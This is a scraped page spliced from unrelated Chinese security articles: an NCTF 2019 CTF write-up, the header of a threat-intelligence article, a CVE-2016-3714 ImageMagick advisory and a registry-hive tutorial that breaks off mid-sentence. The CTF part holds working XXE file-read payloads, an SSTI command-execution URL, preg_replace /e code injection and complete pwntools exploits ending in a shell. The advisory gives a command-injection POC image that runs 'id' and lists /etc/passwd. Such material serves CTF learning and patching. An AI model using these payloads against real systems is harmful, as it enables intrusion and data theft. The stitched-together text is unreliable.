Host: nctf2019.x1ct34m.com:40002
Content-Length: 207
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://nctf2019.x1ct34m.com:40002
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
DNT: 1
Content-Type: application/xml;charset=UTF-8
Referer: http://nctf2019.x1ct34m.com:40003/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
<user><username>admin</username><password>123</password></user>
根据js脚本可以发现username是可以回显的
然后构造一下exp
POST /doLogin.php HTTP/1.1
Host: nctf2019.x1ct34m.com:40002
Content-Length: 207
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://nctf2019.x1ct34m.com:40002
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
DNT: 1
Content-Type: application/xml;charset=UTF-8
Referer: http://nctf2019.x1ct34m.com:40003/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
]>
<user><username>&xxe;</username><password>123</password></user>
### True XML cookbook
POST /doLogin.php HTTP/1.1
Host: nctf2019.x1ct34m.com:40003
Content-Length: 211
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://nctf2019.x1ct34m.com:40003
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
DNT: 1
Content-Type: application/xml;charset=UTF-8
Referer: http://nctf2019.x1ct34m.com:40003/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/readflag">
]>
<user><username>&xxe;</username><password>123</password></user>
SSRF
POST /doLogin.php HTTP/1.1
Host: nctf2019.x1ct34m.com:40003
Content-Length: 220
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://nctf2019.x1ct34m.com:40003
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
DNT: 1
Content-Type: application/xml;charset=UTF-8
Referer: http://nctf2019.x1ct34m.com:40003/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.1.8">
]>
<user><username>&xxe;</username><password>123</password></user>
NCTF{XXE-labs_is_g00d}
### flask
模板注入,用通配符读flag
http://nctf2019.x1ct34m.com:40007/%7B%7B''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('cat%20/fla?%27).read()%7D%7D
### Upload your Shell
传一个图片马,会返回一个题目本身就准备好的图片马的所在目录
找个地方包含一下就好了
http://nctf2019.x1ct34m.com:60002/index.php?action=/upload-imgs/9ae46c526dfb6d96e95ad35bfbb2b6c4/Th1s_is_a_fl4g.jpg
### replace
填三个"#"报错
Parse error: syntax error, unexpected end of file in /var/www/html/index.php(70) : regexp code on line 1
Fatal error: preg_replace(): Failed evaluating code: # in /var/www/html/index.php on line 70
实现功能使用的是preg_replace()
题目提示用了php5.6
想到preg_replace() /e参数
试一下可以执行phpinfo()
POST /index.php HTTP/1.1
Host: nctf2019.x1ct34m.com:40006
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Origin: http://nctf2019.x1ct34m.com:40006
Connection: close
Referer: http://nctf2019.x1ct34m.com:40006/index.php
Cookie: PHPSESSID=6vtpnnca8f9mjjde768sqiub4g
Upgrade-Insecure-Requests: 1
sub=text&pat=e&rep=phpinfo();
但是直接用readfile('/flag')读文件，发现单引号被拦截
于是用chr()拼接表示字符串。。。。。
POST /index.php HTTP/1.1
Host: nctf2019.x1ct34m.com:40006
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Origin: http://nctf2019.x1ct34m.com:40006
Connection: close
Referer: http://nctf2019.x1ct34m.com:40006/index.php
Cookie: PHPSESSID=6vtpnnca8f9mjjde768sqiub4g
Upgrade-Insecure-Requests: 1
sub=text&pat=e&rep=readfile(chr(47).chr(102).chr(108).chr(97).chr(103));
## Pwn
### hello_pwn
连接nc后发现让我用pwntools
构造exp
获得flag
### pwn_me_1
基础栈溢出
from pwn import *
a=remote("139.129.76.65","50004")
ad=0x400861
payload='yes\0'+'a'*12+p64(0x66666666)
a.sendline(payload)
a.interactive()
### pwn_me_2
基础格式化字符串
#coding:utf-8
from pwn import *
path = './pwn_me_2'
local = 0
attach = 0
#P = ELF(path)
context(os='linux',arch='amd64',terminal=['terminator','-x','sh','-c'])
context.log_level = 'debug'
if local == 1:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('139.129.76.65',50005)
p.recvuntil('but your name:\n')
p.send('%p'*15)
p.recvuntil('preparing......\n')
base = int(p.recv(14),16) - (0x55f5229a5080-0x000055f5227a3000)
log.success('base = '+hex(base))
target = base+0x2020e0
p.recvuntil('what do you want?\n')
payload = '%'+str(0x66)+'c%10$hhn'+'%'+str(0x666666-0x66)+'c%11$lln....'+p64(target)+p64(target+1)
p.send(payload)
#NCTF{rrr_loves_pwn_and_100years}
if attach == 1:
gdb.attach(p)
p.interactive()
### pwn_me_3
基础unlink
#coding:utf-8
from pwn import *
path = './pwn_me_3'
local = 1
attach = 0
#P = ELF(path)
context(os='linux',arch='amd64',terminal=['terminator','-x','sh','-c'])
context.log_level = 'debug'
if local == 0:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('139.129.76.65',50006)
def add(size,content):
p.recvuntil('5,exit\n')
p.sendline('1')
p.recvuntil('size:\n')
p.sendline(str(size))
p.recvuntil('content:\n')
p.send(content)
def delete(index):
p.recvuntil('5,exit\n')
p.sendline('2')
p.recvuntil('idx:\n')
p.sendline(str(index))
def show(index):
p.recvuntil('5,exit\n')
p.sendline('3')
p.recvuntil('idx\n')
p.sendline(str(index))
def edit(index,content):
p.recvuntil('5,exit\n')
p.sendline('4')
p.recvuntil('idx:\n')
p.sendline(str(index))
p.recvuntil('content:\n')
p.send(content)
add(0x10,'\x00'*0x10) #0
add(0x10,'\x11'*0x10) #1
delete(0)
delete(1)
p.recvuntil('5,exit\n')
p.sendline('1')
p.recvuntil('size:\n')
p.sendline('0')
p.recvuntil('content:\n')
edit(0,'\x50')
show(0)
heap_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x50
log.success('heap_addr = '+hex(heap_addr))
add(0x38,'\x11'*0x30) #1
add(0xf0,'\x22'*0xf0) #2
add(0x20,'\x33'*0x20) #3
delete(1)
payload = p64(0) + p64(0x31) + p64(0x6020e8-0x18) + p64(0x6020e8-0x10) + p64(0)*2 + p64(0x30)
add(0x38,payload)
delete(2)
payload = p64(0)*2 + p64(heap_addr+0x10)
edit(1,payload)
edit(0,p64(0x66666666))
p.recvuntil('5,exit\n')
p.sendline('5')
#NCTF{Ohh!h0pe_y0u_c4n_pwn_100years_too}
if attach == 1:
gdb.attach(p)
p.interactive()
### warmup
基础rop
#coding:utf-8
from pwn import *
path = './warm_up'
local = 1
attach = 0
P = ELF(path)
context(os='linux',arch='amd64',terminal=['terminator','-x','sh','-c'])
context.log_level = 'debug'
if local == 0:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('139.129.76.65',50007)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil('p!!!\n')
p.send('\x11'*0x18+'\x12')
p.recvuntil('\x12')
canary = u64(p.recv(7)+'\x00')
log.success('canary = '+hex(canary))
p.recvuntil('?')
payload = p64(0)*3 + '\x00' + p64(canary)[:7]
payload+= p64(0)
payload+= p64(0x400ab6)
p.send(payload)
p.recvuntil('warm up!!!')
p.send('\x11'*0x2f+'\x12')
p.recvuntil('\x12')
libcbase = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['__libc_start_main'] - 240
log.success('libcbase = '+hex(libcbase))
p_rdx_rsi = 0x00000000001150c9 + libcbase
p_rdi = 0x400bc3
p_rbp = 0x400970
leave = 0x400a49
flag_addr = 0x601a00 + 0x98
p.recvuntil('?')
payload = p64(0)*3 + '\x00' + p64(canary)[:7]
payload+= p64(0)
payload+= p64(p_rdi) + p64(0)
payload+= p64(p_rdx_rsi) + p64(0x100) + p64(0x601a00)
payload+= p64(libcbase+libc.sym['read'])
payload+= p64(p_rbp) + p64(0x601a00)
payload+= p64(leave)
p.send(payload)
raw_input()
payload = p64(0x601a00)
payload+= p64(p_rdi) + p64(flag_addr)
payload+= p64(p_rdx_rsi) + p64(0) + p64(0)
payload+= p64(libcbase+libc.sym['open'])
payload+= p64(p_rdi) + p64(3)
payload+= p64(p_rdx_rsi) + p64(0x100) + p64(0x601b00)
payload+= p64(libcbase+libc.sym['read'])
payload+= p64(p_rdi) + p64(1)
payload+= p64(p_rdx_rsi) + p64(0x100) + p64(0x601b00)
payload+= p64(libcbase+libc.sym['write'])
payload+= './flag'
p.send(payload)
if attach == 1:
gdb.attach(p)
p.interactive()
### easy_rop
基础rop
#coding:utf-8
from pwn import *
path = './easy_rop'
local = 1
attach = 0
P = ELF(path)
context(os='linux',arch='amd64',terminal=['terminator','-x','sh','-c'])
context.log_level = 'debug'
if local == 0:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('139.129.76.65',50002)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
for i in range(26):
p.recvuntil(': ')
p.sendline(str(0))
p.recvuntil(': ')
p.sendline('+')
p.recvuntil(': ')
p.sendline('+')
p.recvuntil(': ')
p.sendline('+')
p.recvuntil('28 = ')
base1 = int(p.recvuntil('\n',drop=True),10)
log.success('base1 = '+hex(base1))
p.recvuntil(': ')
p.sendline('+')
p.recvuntil('29 = ')
base2 = int(p.recvuntil('\n',drop=True),10)
log.success('base2 = '+hex(base2))
base = str(hex(base2))+str(hex(base1))[2:]
base = int(base,16) - (0x55e9d0e36b40-0x000055e9d0e36000)
log.success('base = '+hex(base))
start = base + 0x8a0
start1 = str(hex(start))[2:6]
start2 = str(hex(start))[6:]
start1 = int(start1,16)
start2 = int(start2,16)
p.recvuntil(': ')
p.sendline(str(start2))
p.recvuntil(': ')
p.sendline(str(start1))
p.recvuntil(': ')
p.sendline('+')
p.recvuntil(': ')
p.sendline('+')
p.recvuntil('your name?\n')
p.send('\x00')
#======================================
for i in range(26):
p.recvuntil(': ')
p.sendline(str(0))
p.recvuntil(': ')
p.sendline('+')
p.recvuntil(': ')
p.sendline('+')
target = base + 0x201420
target1 = str(hex(target))[2:6]
target2 = str(hex(target))[6:]
target1 = int(target1,16)
target2 = int(target2,16)
p.recvuntil(': ')
p.sendline(str(target2))
p.recvuntil(': ')
p.sendline(str(target1))
leave = base + 0xb31
leave1 = str(hex(leave))[2:6]
leave2 = str(hex(leave))[6:]
leave1 = int(leave1,16)
leave2 = int(leave2,16)
p.recvuntil(': ')
p.sendline(str(leave2))
p.recvuntil(': ')
p.sendline(str(leave1))
p.recvuntil(': ')
p.sendline('+')
p.recvuntil(': ')
p.sendline('+')
part1 = base + 0xb96
part2 = base + 0xb80
def call_fun(fun_addr,arg1,arg2,arg3):
payload = p64(part1)
payload+= p64(0)
payload+= p64(0)
payload+= p64(1)
payload+= p64(fun_addr)
payload+= p64(arg1)
payload+= p64(arg2)
payload+= p64(arg3)
payload+= p64(part2)
payload+= 'a'*0x38
return payload
p_rdi = base + 0xba3
p_rbp = base + 0x900
p.recvuntil('your name?\n')
payload = p64(target)
payload+= p64(p_rdi)
payload+= p64(P.got['puts']+base)
payload+= p64(P.plt['puts']+base)
payload+= call_fun(P.got['read']+base,0x100,base+0x201500,0)
payload+= p64(p_rbp)
payload+= p64(base+0x201500)
payload+= p64(leave)
p.send(payload)
libcbase = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['puts']
log.success('libcbase = '+hex(libcbase))
payload = p64(base+0x201500)
payload+= p64(p_rdi)
payload+= p64(libcbase+libc.search('/bin/sh\x00').next())
payload+= p64(libcbase+libc.sym['system'])
p.send(payload)
#NCTF{rop_1s_b4st!!!!}
if attach == 1:
gdb.attach(p)
p.interactive()
### easy_heap
两次fb_atk
#coding:utf-8
from pwn import *
path = './easy_heap'
local = 1
attach = 0
#P = ELF(path)
context(os='linux',arch='amd64',terminal=['terminator','-x','sh','-c'])
context.log_level = 'debug'
if local == 0:
p = process(path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('139.129.76.65',50001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new(size,content):
p.recvuntil('4. exit\n')
p.sendline('1')
p.recvuntil('size?\n')
p.sendline(str(size))
p.recvuntil('ontent?\n')
p.send(content)
def delete(index):
p.recvuntil('4. exit\n')
p.sendline('2')
p.recvuntil('index?\n')
p.sendline(str(index))
def show(index):
p.recvuntil('4. exit\n')
p.sendline('3')
p.recvuntil('index?\n')
p.sendline(str(index))
p.recvuntil('your name?\n')
p.send(p64(0)+p64(0x60))
new(0x50,'\x00'*0x50) #0
new(0x50,'\x11'*0x50) #1
delete(0)
delete(1)
delete(0)
new(0x50,p64(0x602060))
new(0x50,'\x33'*0x50)
new(0x50,'\x44'*0x50)
payload = p64(0) + p64(0x1000) + p64(0)*8
new(0x50,payload)
new(0x80,'\x00') #0
new(0x60,'\x11'*0x60) #1
delete(0)
show(0)
p.recvuntil('0: ')
libcbase = u64(p.recv(6).ljust(8,'\x00')) - (0x7f54cfedab78-0x00007f54cfb16000)
log.success('libcbase = '+hex(libcbase))
new(0x60,'\x22'*0x60)
delete(1)
delete(2)
delete(1)
new(0x60,p64(libcbase+libc.sym['__malloc_hook']-0x23))
new(0x60,'\x00')
new(0x60,'\x00')
one_gadget = [0x4526a,0x45216,0xf02a4,0xf1147]
payload = '\x00'*0x13 + p64(libcbase+one_gadget[2])
new(0x60,payload)
delete(6)
if attach == 1:
gdb.attach(p)
p.interactive()
## Re
### 签到题
IDA打开
进到`sub_401340`中
就是有一个7*7的矩阵和我们输入的49位字符的ASCII码按列排布构成的矩阵(第一列是a[0]~a[6])相乘会得到dword_404000
除了`dword_404000[0]=4884h`外都是4行代表一个元素,即
dword_404000[1]=91C4h
dword_404000[2]=7D35h
dword_404000[3]=81FEh
...
然后就是求解非齐次线性方程组了
`(1) * (2) = (3)`
NCTF{nctf2019_linear_algebra_is_very_interesting}
### debug
IDA打开
我没截图2333，不过可以通过动调来得到答案，好像是中途生成flag来和输入的字符串比较
只需要再比较的地方下断点，查看栈即可得到答案。
### Easy Ternary
AHK脚本语言很明白了，直接到exe里把脚本提出来
XOR(a, b)
{
tempA := a
tempB := b
ret := 0
Loop, 8
{
ret += Mod((((tempA >> ((A_Index - 1)*4)) & 15) + ((tempB >> ((A_Index - 1)*4)) & 15)),3) * (16**(A_Index-1))
}
return ret
}
InputBox, userInput, TTTTCL, Input your flag:
if(ErrorLevel)
Exit
if(!StrLen(userInput)) #没有读入
{
MsgBox, GG
Exit
}
inputArr := [] #保存输入的数据
Loop, parse, userInput
{
temp:=A_Index
inputArr.Push(Ord(A_LoopField)) #读入读入框
}
inputNum := [] #操作后保存的数组
Loop % inputArr.Length()
{
temp := inputArr[A_Index]
temp := DllCall("aiQG.dll\?ToTrit@@YAII@Z", "UInt", temp)
inputNum.push(temp)
}
key1 := XOR(inputNum[5], inputNum[inputNum.Length()]) #key就是{}的XOR
inputFlag := []
Loop % inputArr.Length()
{
temp := XOR(inputNum[A_Index], key1)
if(Mod(A_Index,2))
{
temp := XOR(key1,temp)
}
inputFlag.push(temp)
}
temp1 := 1 #是否成功
Loop % inputFlag.Length() #检验
{
temp := inputFlag[A_Index]
temp := DllCall("aiQG.dll\?Check@@YAIII@Z", "UInt", temp, "UInt", A_Index)
if(!temp)
{
temp1 := 0
}
}
if(temp1)
{
MsgBox, Ok
}
if(!temp1)
{
MsgBox, GG
}
调用了dll,逆向dll，发现就一个对比数字和转三进制
exp：
#include<cstdio>
#include<cmath>
#include<windows.h>
using namespace std;
int xors(int a,int b)
{
int ret=0;
for(int i=1;i<=8;i++)
ret=ret+(((a>>(((i-1)*4))&15)+((b>>((i-1)*4))&15))%3)*(pow(16,(i-1)));
return ret;
}
int change(int x)
{
int t,ans=0,k=0;
while(x)
{
t=x%10;
ans=ans+pow(3,k++)*t;
x/=10;
}
return ans;
}
void genS()
{
int data[100]={0x00,0x10011,0x21020,0x21101,0x21000,0x22211,0x2220,0x21200,0x2101,0x22120,0x20122,0x22220,0x2021,0x10122,0x20102,0x22111,0x211,0x12012,0x2210,0x22202,0x2021,0x21101,0x2222,0x21101,0x2222,0x21121,0x21120,0x22210};
for(int c=1;c<=27;c++)
{
for(int i=0;i<=0x22222222;i++)
{
int t=xors(i,0x22212);
if(c%2)
t=xors(0x22212,t);
if(t==data[c])
{
printf("%X,",i);
break;
}
}
}
}
int main()
{
int s[1000]={2220,2111,10010,2121,11120,10011,10112,10222,11002,1210,11102,10112,2001,1220,11020,11002,1221,10001,11111,10112,10010,10010,10010,10010,10000,2211,11122,0};
for(int i=0;s[i]!=0;i++)
printf("%c",change(s[i]));
return 0;
}
### 丑陋的代码
确实够丑陋的，到处跳转
IDA打开后发现有反调试，nop掉，发现原来无法运行的函数可以运行了(之前异或了)
鉴于无法F5，开始头铁时间，发现最后就是个TEA
#include<cstdio>
#define _DWORD int
using namespace std;
unsigned char code[]={0x88,0x71,0x3E,0xFE,0x66,0xF6,0x77,0xD7,0xA0,0x51,0x29,0xF9,0x11,0x79,0x71,0x49,0xF1,0x61,0xA0,0x9,0xF1,0x29,0x1,0xB1};
/*
tea_decrypt(0x61869F5E,0x0A9CF08D);
tea_decrypt(0xAD74C0CA,0xA57F16B8);
tea_decrypt(0xB559626D,0xD17B68E0);*/
int getlowbit(int x)
{
return x&0xFF;
}
void tea_decrypt(unsigned long v0,unsigned long v1)
{
unsigned long sum=0xC6EF3720,i;
unsigned long delta=0x9e3779b9;
unsigned long k0=0x12345678,k1=0xBADF00D,k2=0x05201314,k3=0x87654321;
for(i=0;i<32;i++)
{
v1-=((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);
v0-=((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);
sum-=delta;
}
unsigned char* v=((unsigned char*)&v0);
printf("0x%X 0x%X 0x%X 0x%X\n",getlowbit(*((char*)v)),getlowbit(*((char*)v+1)),getlowbit(*((char*)v+2)),getlowbit(*((char*)v+3)));
v=((unsigned char*)&v1);
printf("0x%X 0x%X 0x%X 0x%X\n",getlowbit(*((char*)v)),getlowbit(*((char*)v+1)),getlowbit(*((char*)v+2)),getlowbit(*((char*)v+3)));
}
unsigned char encode(unsigned char c)
{
int a=c>>5,b=c<<3;
return ((a|b)^0x5A);
}
int main()
{
for(int i=0;i<24;i++)
{
int c=code[i];
for(int j=0;j<=0xFF;j++)
if(c==encode(j))
{
int t=j;
if(i==0 || i==4)
t-=0xC;
if(i==1 || i==5)
t-=0x22;
if(i==2 || i==6)
t-=0x38;
if(i==3 || i==7)
t-=0x4E;
printf("%c",t);
}
}
return 0;
}
### F-Bird
开历史的倒车，16位都来了
直接看汇编，有一段异或，不过用bx寄存器高低位依次异或
算出来两个异或的数是多少
然后异或就行了
k=[0x8E,0x9D,0x94,0x98,0xBB,0x89,0xF3,0xEF,0x83,0xEE,0xAD,0x9B,0x9F,0x9A,0xF0,0xEB,0x9F,0x97,0xF6,0xBC,0xF1,0xE9,0x9F,0xE7,0xA1,0xB3,0xF3,0xA3]
i=0
flag=""
for c in k:
if(i&1):
flag=flag+chr(c^0xde)
else:
flag=flag+chr(c^0xc0)
i=i+1
print(flag)
## Misc
### NCTF2019问卷调查
填表，填完就出flag
### PiP2 install
先利用虚拟机连接一下。[图片]
我已经下过了
下载的过程中有一个链接出来了。
win下打开它！
存在一个setup.py
中间有一串不知所云的字符串。
直接base64解密就可以了
### a_good_idea
一张图片。想都不要想直接binwalk
[图片]
有两张图片，hint是寻找像素的秘密。
那就stegsolve一下combine两张图片然后左右切换通道一次就得到二维码了
扫描即可
### what`s this
流量分析直接看http协议。全部导出后得到有一个zip文件包里面包含了一个what 1s th1s .txt里面格式与base64隐写很像直接py运行
[图片]
### Become a Rockstar
下载得到一个rock文件
一番 ~~百度~~ Bing后了解到Rockstar这个编程语言
<https://github.com/RockstarLang/rockstar>
<https://github.com/yyyyyyyyyyan/rockstar-py>
使用rockstar-py
`rockstar-py Become_a_Rockstar.rock`
得到一段python代码
Leonard_Adleman = "star"
Problem_Makers = 76
Problem_Makers = "NCTF{"
def God(World):
a_boy = "flag"
the_boy = 3
def Evil(your_mind):
a_girl = "no flag"
the_girl = 5
Truths = 3694
Bob = "ar"
Adi_Shamir = "rock"
def Love(Alice, Bob):
Mallory = 13
Mallory = 24
Everything = 114514
Alice = "you"
def Reality(God, Evil):
God = 26
Evil = 235
Ron_Rivest = "nice"
def You_Want_To(Alice, Love, Anything):
You = 5.75428
your_heart = input()
You = 5
your_mind = input()
Nothing = 31
if Truths * Nothing == Everything:
RSA = Ron_Rivest + Adi_Shamir + Leonard_Adleman
if Everything / Nothing == Truths:
Problem_Makers = Problem_Makers + Alice + Bob
print(Problem_Makers)
the_flag = 245
the_confusion = 244
print(RSA)
Mysterious_One = "}"
print(Mysterious_One)
This = 4
This = 35
This = 7
This = 3
This = 3
This = 37
跑一下flag就出来了
NCTF{youarnicerockstar}
### 小狗的秘密
又一个流量分析直接导http发现包里存在一个1.html打开都是
直接转txt猜测是图片RGB
利用python脚本转成图片可最终得到flag.
### 2077
直接 Google Cyberpunk 2077 stream decode.
然后在一个 [reddit
帖子](https://www.reddit.com/r/cyberpunkgame/comments/9asu1t/base64_data_from_the_stream_transmission_decoded/)
中，找到图片下载地址。下载后用 sha256sum 求 sha256 值即可。
## Crypto
### keyboard
看到这里总共有8个字母，最多重复了4次，觉得就对应了手机键盘中的九宫输入法，去手试了试，前面就出来了youare，于是写了个程序码了出来
#include <cstdio>
#include <cstring>
char a[100][5]={"ooo","yyy","ii","w","uuu","ee","uuuu","yyy","uuuu","y","w","uuu","i","i","rr","w","i","i","rr","rrr","uuuu","rrr","uuuu","t","ii","uuuu","i","w","u","rrr","ee","www","ee","yyy","eee","www","w","tt","ee"};
char b[100][5]={"w","ww","www","e","ee","eee","r","rr","rrr","t","tt","ttt","y","yy","yyy","u","uu","uuu","uuuu","i","ii","iii","o","oo","ooo","oooo"};
char c[27]="abcdefghijklmnopqrstuvwxyz";
int main()
{
for(int i=0;i<=38;++i)
{
for(int j=0;j<=25;++j)
{
if(strcmp(a[i],b[j])==0)
{
printf("%c",c[j]);
break;
}
}
}
return 0;
}
youaresosmartthatthisisjustapieceofcake | 社区文章 |
# 大型互联网企业威胁情报运营与实践思考
##### 译文声明
本文是翻译文章，文章原作者 美团，文章来源：美团
原文地址：<https://mp.weixin.qq.com/s/8eY1Es71mmrvuDGnWL4lfA>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
# CVE-2016-3714ImageMagick远程执行漏洞修复建议
|
##### 译文声明
本文是翻译文章，文章来源：sobug
译文仅供参考，具体内容表达以及含义原文为准。
2016年5月
目录
0x01 前言.. 1
0x02 影响版本范围.. 1
0x03 攻击POC演示.. 1
0x04修复方案.. 3
0x06 参考来源.. 4
版本
|
版本控制信息
|
更新日期
|
更新人
|
审批人
---|---|---|---|---
V1.0
|
创建
|
2016年5月
|
老狼
|
V1.1
| | | |
V1.2
| | | |
| | | |
0x01 前言
ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件,包括流行的TIFF、JPEG、GIF、
PNG、PDF以及PhotoCD等格式。众多的网站平台都是用他渲染处理图片。可惜在3号时被公开了一些列漏洞,其中一个漏洞可导致远程执行代码(RCE),如果你处理用户提交的图片。该漏洞是针对在野外使用此漏洞。许多图像处理插件依赖于ImageMagick库,包括但不限于PHP的imagick,Ruby的rmagick和paperclip,以及NodeJS的ImageMagick等。
产生原因是因为字符过滤不严谨所导致的执行代码. 对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。
0x02 影响版本范围
ImageMagick 6.5.7-8 2012-08-17(手工测试风险存在)
ImageMagick 6.7.7-10 2014-03-06(手工测试风险存在)
低版本至6.9.3-9 released 2016-04-30
0x03 攻击POC演示
先构建一个精心准备的图片:
vi exp1.jpg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id && ls -al /etc/passwd")'
pop graphic-context
执行攻击POC1,虽然有报错,但是两条命令都成功绕出执行了,
就说明漏洞是存在的
那么在制作一个远程下载反弹shell脚本,并且执行shell命令:
执行成功,上接受服务器看去:
Root权限的反弹shell就这样上来了.
0x04修复方案
目前官方的最新修复补丁版本还未能出来,所以暂时建议做以下预防策略:
1.在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型.
2.使用策略配置文件来禁用ImageMagick的有风险的编码器
对于ImageMagick全局策略配置文件在/etc/ImageMagick下对policy.xml最后一行进行增加下列配置:
vi /etc/ImageMagick/policy.xml
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
在去执行攻击POC2看看,无法执行下载动作和执行命令了.
0x06 参考来源
https://imagetragick.com/
[http://php.net/manual/zh/function.getimagesize.php](http://php.net/manual/zh/function.getimagesize.php)
[https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-3714](https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-3714)
[https://security-tracker.debian.org/tracker/CVE-2016-3714](https://security-tracker.debian.org/tracker/CVE-2016-3714) | 社区文章 |
# 注册表hive基础知识介绍第二季－NK记录
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://binaryforay.blogspot.com/2015/01/registry-hive-basics-part-2-nk-records.html>
译文仅供参考，具体内容表达以及含义原文为准。
**背景**
大多数人都已经习惯用类似regedit.exe那样的程序来查看注册表的信息了。所有版本的Windows操作系统都自带有regedit.exe，用户可以通过它来查看注册表中所有基础组件的配置信息。大家可以通过下面的这张截图了解到组成一个hive文件的不同部分（通过regedit.exe即可查看）。
我们可以看到在窗口的左侧部分有一个由各种项和子项所组成的树，每一个项和子项下面又可以分成很多相关连的层。当一个项变成另一个项的“孩子”后，它也就变成了一个子项。在上面的这个例子中，CBT是ATI
Technologies项的一个子项。在项和子项的实际结构之间并没有什么区别。
当我们在左侧选中一个项之后，这个项所包含的所有键值都会显示在右侧区域。regedit.exe能够显示三条数据，即键值名称（名称列），键值类型（类型列）还有键值（数据列）。
我们通过regedit.exe可以查看注册表中不同项的访问权限。你可以通过鼠标右键点击一个项，然后选中Permissions来查看具体的访问权限。
正如你所期待的那样，点击Permissions之后，系统会显示当前所选取的注册表项的访问权限信息。
综上所述，regedit.exe可以给用户提供三种类型的信息：项，键值，以及访问权限。
注册表hive的主体正是由这三种类型的数据所组成的。
当我们需要查看磁盘上的一个注册表hive时，我们还需要一些新的知识。
**NK记录**
当我们需要定义一个项（或子项）的时候， 一些必要的数据信息就包含在NK记录中。下图显示的是磁盘中现有的一个NK记录示例：
在一条NK记录中，总共有25种不同类型的数据信息。其中最主要的信息有以下几项：
l 大小
l 签名
l 标识符
l 最后写入时间
l 父类Cell索引
l 子项计数
l 子项Cell索引
l 键值计数
l 键值Cell索引
l 安全Cell索引
l 名称
**大小**
大小起始于偏移量0x0，系统采用了一个32位的有符号整数来存储它。在上面的截图中，其十六进制数值为0x70FFFFFF。正如我们之前所看到的，这个值同样是通过小端格式存储的。将这个值转换为十进制之后，我们得到的结果为-144(是的，就是负的144)。
